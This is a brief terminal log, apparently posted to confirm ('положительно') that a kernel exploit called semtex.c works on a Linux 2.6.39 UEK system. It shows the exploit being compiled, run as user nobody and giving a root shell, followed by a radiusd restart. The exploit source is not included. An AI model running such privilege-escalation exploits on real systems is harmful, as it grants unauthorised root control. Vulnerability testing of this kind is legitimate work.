положительно

[root@localhost expl]# uname -a
Linux localhost.localdomain 2.6.39-400.23.1.el6uek.x86_64 #1 SMP Wed May 8 16:37:12 PDT 2013 x86_64 x86_64 x86_64 GNU/Linux
[root@localhost expl]# gcc -O2 semtex.c
[root@localhost expl]# chmod 777 a.out
[root@localhost expl]# su nobody -s /bin/bash
bash-4.1$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-4.1$ cd /tmp/expl/
bash-4.1$ ls
a.out  semtex.c
bash-4.1$ ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
-sh-4.1# id
uid=0(root) gid=0(root) groups=0(root),99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
-sh-4.1# service radiusd restart
Stopping radiusd:                                          [  OK  ]
Starting radiusd:                                          [  OK  ]
-sh-4.1#